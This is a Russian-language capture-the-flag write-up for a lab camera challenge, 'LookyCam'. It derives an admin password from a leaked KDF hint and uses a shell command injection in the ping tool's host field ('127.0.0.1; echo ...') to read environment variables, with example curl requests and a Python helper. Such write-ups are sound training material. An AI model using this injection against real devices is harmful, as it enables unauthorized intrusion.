2.5 KiB
2.5 KiB
Writeup: LookyCam (camera)
Ниже — ожидаемый путь решения: добыть UID, вычислить пароль администратора по подсказанной KDF, получить RCE через ping и собрать финальный ключ.
Шаги решения
- PWD_PART_A -получили из стеги в хранилище
- Открыть
/loginи получитьCAMERA_UID. Он приходит в заголовкеX-Device-Idи дублируется на странице. - Сымитировать 3 неудачных логина. После третьей попытки сервер вернёт заголовок
X-Password-KDFс формулой:sha1(part + ":" + uid)[0:10]. - Подставить известную часть
partAи посчитать пароль:password = sha1(partA:uid)[:10]. - Войти в
/adminподadminс этим паролем и получить сессию. - В
/admin/tools/pingесть command injection: значениеhostбез фильтрации попадает вsh -lc "ping ... ${host}". Через;можно выполнить произвольные команды и прочитать переменные окружения:127.0.0.1; echo RCE:$CAMERA_RCE_FLAG; echo PARTC:$PWD_PART_C - Из ответа взять
PWD_PART_Cи флаг RCE. - Посчитать ключ для
/admin/redeem:key = sha1(partA:partC:uid)[:16]. - Отправить ключ в
/admin/redeemи получить финальный флаг.
Примеры запросов
# 1) UID
curl -i http://<host>/login
# 2) 3 фейл-логина, смотрим X-Password-KDF в ответе
curl -i -d "username=admin&password=bad" http://<host>/login
# 3) Логин с правильным паролем
curl -i -c cookies.txt -d "username=admin&password=<calc>" http://<host>/login
# 4) Инъекция в ping
curl -i -b cookies.txt -d "host=127.0.0.1; echo RCE:\$CAMERA_RCE_FLAG; echo PARTC:\$PWD_PART_C" \
http://<host>/admin/tools/ping
# 5) Редим финального флага
curl -i -b cookies.txt -d "key=<calc>" http://<host>/admin/redeem
import hashlib
def sha1(x: str) -> str:
return hashlib.sha1(x.encode()).hexdigest()
uid = "LCAM-9f31"
part_a = "..."
part_c = "..."
password = sha1(f"{part_a}:{uid}")[:10]
key = sha1(f"{part_a}:{part_c}:{uid}")[:16]
print(password, key)